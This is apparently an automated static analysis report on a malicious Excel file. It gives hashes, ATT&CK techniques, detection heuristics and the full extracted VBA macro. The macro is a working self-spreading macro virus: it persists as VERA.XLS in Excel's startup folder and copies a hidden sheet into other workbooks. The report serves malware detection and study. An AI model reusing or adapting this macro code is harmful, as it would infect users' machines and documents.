Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2da45349f8c0ec4e…

MALICIOUS

Office (OLE)

29.5 KB Created: 2012-04-18 15:01:09 Authoring application: WPS Office ¸öÈË°æ First seen: 2015-09-19
MD5: 42abebdf52b7a1d78dd1a5e82500af10 SHA-1: 8151f0b26c9f153ded674914c7d1c69f1ede93f4 SHA-256: 2da45349f8c0ec4eb7fd8d24f29110d05eda97b61e31b609d011f48e28445c8c
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The file contains VBA macros, including an Auto_Open subroutine, and uses CreateObject to interact with OLE objects. The script attempts to save a new Excel file named 'VERA.XLS' in the application's startup path, which is a common technique for malware to establish persistence or download further stages. The ClamAV detection name 'Xls.Dropper.Agent-7373827-0' further supports its role as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-7373827-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7373827-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set X = CreateObject("ADODB.Connection")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2344 bytes
SHA-256: 98e66461d246fe68396d64306074ad322a1c07a79713cdd8f644a241f00fa03f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Locas"



Sub fig()
    
    Set X = CreateObject("ADODB.Connection")
    
    X.Open "Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=" & ThisWorkbook.FullName
Sql = "select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by  mid(款号,1,2)"

    Set yy = X.Execute(Sql)
   [g10:h44].Clear
   [g10].CopyFromRecordset yy
   
        Set yy = Nothing:    Set X = Nothing
End Sub





















Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VERA.XLS")
    If m$ = "VERA.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("locas").Visible = True
    Sheets("locas").Select
    Sheets("locas").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "VERA.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "LOCAS" Then
        Workbooks("VERA.XLS").Sheets("LOCAS").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("LOCAS").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case Else
End Select
End Sub

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